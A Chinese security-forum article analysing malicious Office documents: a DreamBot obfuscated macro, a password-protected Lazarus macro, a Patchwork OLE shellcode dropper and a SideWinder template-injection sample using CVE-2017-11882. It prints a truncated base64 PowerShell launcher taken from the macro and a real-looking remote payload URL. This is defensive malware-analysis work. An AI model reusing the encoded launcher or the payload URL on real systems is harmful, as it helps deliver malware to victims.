带网络的pe_恶意代码分析中一些常见的非PE样本分析

本文为看雪论坛精华文章

看雪论坛作者ID:顾何

0x00 前言

就目前来看,非PE的恶意攻击已经越来越多了,主要是利用office这一套,最近也看了一些,就写一点记录一下。

0x01 Office格式

自office207开始,微软提出了一种新的文件格式为OpenXML(OOXML),所有word、excel、ppt默认都是OenXML格式的。还有一种比较老的格式(97-03)是OLE,关于OLE后面会详细介绍。

先来看看OpenXML格式,正常情况下说该格式的office文档可以当成一个压缩包解压,以一个word文档为例子,压缩包内容一般如下:

59e5cdddbcc8fc94d51f756e013d8242.png

[Content_Types].xml

该文件描述了整个文档内容的类型,把各个xml文件组合成了一个整体。

该文件会包含包中素有的部件的内容类型和列表。

docProps文件夹

这个文件夹中的xml记录了office文档的主要属性信息。

主要是有两个文件:

5c5a0b89252e410ef52e3185912ac69e.png

app.xml:描述文档的类型、版本、共享信息、安全属性等。

8213a1847915ff657240b10a23344111.png

core.xml:描述文件的创建时间、标题、主题和作者等通用属性。

0a38bc0f1b0976635dbaa6eff5169d62.png

rels文件夹

存放所有指定的rels文件。

f0bea117d620197ac54d8ce41f12857e.png

.rels通常是描述文件结构中的起始关系,也就是说该文件用于定义其他部分与包外资源间的关系。也被叫做关系部件。

word文件夹

word文件夹是文件的主体部分,内容大概如下:

9e6b49ba1c52f4a46051dfeb8b504453.png

二进制区别

之前已经说了,07版本之前的office文档可以格式主要是ole,07版本前的office文档十六进制显示如下:

22604004cdaba81dee7d67dd88c5da08.png

而07版本后的OpenXML,更像是一个压缩包,查看十六进制数据可以看到PK标志:

4457605fc34fcc4fb1bd96743250650f.png

0x02 Office样本分类

office混淆宏

office宏应该算是最多。(也算是比较简单,直观的内容了)

这里是找到了一个DreamBot僵尸网络的样本:

912a487711217f214746a3e677e2bf32

开启宏之后:

132e5866677e67b958a9d1a8093b3d51.png

这个时候就可以通过oledump来dump出宏代码。

oledump下载地址:https://www.52pojie.cn/thread-921868-1-1.html

使用方法:

首先可以直接通过oledump.py 目标文档.doc 分析出所有的代码段。

137baa586dbaa2313a48bb48ef508856.png

然后可以通过oledump.py -s 段名 -v 目标文档.doc 将制定段的VBA代码提取出来(以xoTBoFzBdrgAzy1pbO为例子):

590fca7af8295ac60824eff4f86179f4.png

也可以在s后面跟上a参数,表示all,将所有的VBA代码解析出来,然后通过 > 文件名将结果写入到文件:

a06d471d5866f3591d8dac7c9f741452.png

现在就可以分析这个VBA代码了:

d9caba22def17be94e37defa3a7a5a3f.png

这里的代码带混淆,而且很长,所以可以调试来解决,但是这个程序对调试进行了处理,当宏启用之后,就会提示word停止工作,根本不能调试宏,我再网上找了好久也没有找到合适的方案。

92198db8f1e087ed7b674ead26242e77.png

最后想到了一个还算有用的解决方案,就是根据word的执行顺序来使得word不马上加载宏。

打开该样本的时候不断按F5,打开样本就会中断在如下界面:

2f2fb09bf4ec1cc6d85074f0587b22da.png

这个时候点一下后面的文档内容,然后alt + F11 打开宏窗口:

b421ab61260694c6202022d9c2423de6.png

现在就F8进行单步调试了。

然后写一下自己调试带混淆宏的思路。

现在单步执行进来停在了函数OWlEmUVvwQl。

5052fa06c54cce2c5d0d1b9569ecd65d.png

然后这里传递了多个数字作为参数到gzPB函数中,查看一下gzPB函数功能:

cf1632278f367b2fdd93b42143350a55.png

可以看到函数的关键功能在这个For循环。

RlHKDeQP的值从1到传进来参数的长度,每次自增2。

然后RlHKDeQP会作为Mid函数的参数对传递进来的值进行分割。

FUduorb = Mid$(BlWMlTlXnkR, RlHKDeQP, 2)

然后对Fuduorb进行处理:

AIHfEQdyA = AIHfEQdyA & Chr(Val("&H" & FUduorb))

最后得到AIHfEQdyA的值:"dxiMMtu"

所以这个gzPB函数的功能就是对传递进来的参数进行解密。选择性的跳过,然后一步一步的跟进,最后可以得到函数调用链:

OWlEmUVvwQl->hMkbDVHtbVDDttEFUWEw->dTkPsYjiXXQJXW->DqfHVjrOSVaMrAFy->MsgsyIxLElHPXcNOFMo->UoOLrJw->JFJdZo->VtrbNDgItpnfKpgAqPml->ybCDhfHLopdFPWTjmLZoUbw->FzjyS->RVThCUH->IFSeOhWOWEpX->azriOHXmFqMfPRlfDlP->LSxrp->CADXqENsQRQthfrBXvpswgqkC->lDqTvcg->MOvSslUFTPZuhCliOUXc->oVBCPDmxRv->BnqSmevUUSPyaWQ->jJPulneBpTF一直跟进来,最后会调用jJPulneBpTF,在改函数中利用ShellExecute调用Powershell执行命令:

d5bb701304b9e7d05619e21b03a05e3f.png

根据下面的值可以提取出该条指令:

lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco JAB4AG4AcQBnAHcAcQB6AG0AeABhAHUAcAA9ACIAbQB6AHIAbgBlAHoAIgA7AAoAJAB0AHMAaQBkAHMAdQAgAD0AIAAiAEkAaQBSAFAAcgB3AFYARgAiADsACgAkAGgAZQBlAHkAZQBlAHAAeQB1AGUAPQAiAGgAcwBpAGsAcgBrAGgAdwBiAHkAbwBrAGoAcwBlACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGEAYQBpAHIAZwB0AHcAaABuA接着看ShellExecute后面的部分:

fc95043687b862fee0a79f0c111186c0.png

可以手动加代码得到后面部分的输出结果:

9d1bda7b2032a5b8df8ecd904d1b896e.png

上面这一大部分分析的都是sohkywrsn模块的内容,接下来用同样的方法分析其他模块的内容和调用关系就可以了。

3d7b2fe293d0159407bc30fa818539e7.png

office密码宏

带密码的宏一般来说有两个工具可以绕过。

以之前分析过的一个样本Lazarus_6850189bbf5191a76761ab20f7c630e举例。

打开样本宏窗口:

format,png

我第一次用的工具是aopr,吾爱下载地址:https://www.52pojie.cn/forum.php?mod=viewthread&tid=722999&page=1&authorid=796560这个工具使用比较简单:

首先选择文件路径,然后直接删除VBA密码就可以了。

43365852cf18655aa9e8e2855630d2f2.png

再次打开样本,ALT+F11打开宏窗口:

5ba82a69c9b450b89690bd94b098f353.png

直接单击确定即可。

fd6c9c0eb7e82f44c92bce7f44c029f3.png

还有一个常用的工具是:VBA_Password_Bypasser。

ole对象

以APT组织摩诃草近期的一个攻击样本0D38ADC0B048BAB3BD91861D42CD39DF为例。

打开文件之后内容如下:

f6b42c1c59f69540df98c27419ec5edd.png

启用宏发现只有1行代码,就是将这张模糊的图片删除,显示清晰的图片:

78ca3b34b6ecad884c4d22f4dbe03697.png

所以该样本应该不是宏代码利用,尝试从其他思路想办法。

解压该文档,然后在:0D38ADC0B048BAB3BD91861D42CD39DF_w32timexlembeddings路径发现了ole:

6f44e761f89434c9e4bfad8cee66efa5.png

这里还有bak,可能是攻击者忘记删除的备份。查看该ole的十六进制数据:

可以看到在Offset00001000的地方貌似有shellcode。

38f59d3b00988796651346c539b409dc.png

提取出来保存为二进制文件到IDA里面分析:

af7414451507fb0f20cfc193a69240b0.png

可以看到这里是首先给v2设置偏移为a2+1368,然后修订前两个字节为MZ,结合之前在shellcode下面看到的不完整PE,这里应该就是修正PE头。

99e202667a1cfbb2d8bb7f9fe20f20b5.png

接着往后看,是指明了一个路径%appdata%MSBuild.exe。最后的call sub_244看参数应该是CreateFile文件。

a54976cfd98821ac313ea3a46bc13ee6.png

由于之前已经运行过了该样本,所以直接查看%appdata%路径:

47e78af438c16daa2ff6ca7907816702.png

MSbuild.exe已经释放到%appdata%处了。

关于这个Msbuild的分析以及该样本的完整分析之后写在其他文档里。

模板注入

以SideWinder APT的一个新样本为例:9b1d0537d0734f1ddb53c5567f5d7ab5

aa6d92975c608fa1ab09fb07745f9a81.png

7z打开,看样子应该是的docx文档

可以看到有一个正在下载:https://www.sd1-bin.net/images/2B717e98/-1/12...的操作

这应该算是比较典型的模板注入了。

69d3aa2c7ed55cc1739e5156a782ed69.png

解压该样本,按道理来讲可以在word/_rels目录下的document.xml.rels文件中找到该完整请求:

https://www.sd1-bin.net/images/2B717E98/-1/12571/4c7947ec/main.file.rtf

6e41bf16e44179a8ca355c484d9e20c5.png

过滤一下网络,访问该地址,下载main.file.rtf到本地。

1da18d41a6105bbecb8c8b2011978535.png

app.any.run沙箱跑一下可以发现是利用公式编辑器漏洞的rft文档(CVE-2017-11882)。

a5b0080400bb2d6a058cba270a9c86e2.png

由于是公式编辑器漏洞利用,所以不要直接监视word进程,直接监视EQNEDT32.exe看到有如下语句:

d3dd05c6437b1984cd483d5e13eb74b8.png

这里没有看出来是干嘛,反而看最后的eva感觉少了一个l,像是一条没有执行完的命令。

重新打开该rtf文件提示如下:

c63d9345fb0920535f648d77467497b8.png

在%temp%目录下没有找到1.a文件,所以上面的命令其实应该是会从rtf文件中提取shellcode保存到%temp%1.a,重新在win7x64office2003下打开该rtf文档,运行之后成功释放1.a。

6012acd6d691f82f3c6b59cd8e789876.png

查看后发现1.a其实是一个js文件:

c452ed0cd74d396f737806d484e2f749.png

然后后面又是自定义一个base64解密,解密出来是一个powershell代码。

然后powershell的分析就调试就可以了...

373267bff94ed8498add0d32da37c84f.png

- End -

看雪ID:顾何

https://bbs.pediy.com/user-757351.htm

*本文由看雪论坛 顾何 原创,转载请注明来自看雪社区

推荐文章++++

* 通过捕获段错误实现的自定义linker

* Xposed高级用法 实现Tinker热修复

* 连连看逆向

* 从“短信劫持马”的制作来谈App安全

* 入门级加固——3种加固方式学习记录

f1e581aac6062ff2063384f02467e724.png

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值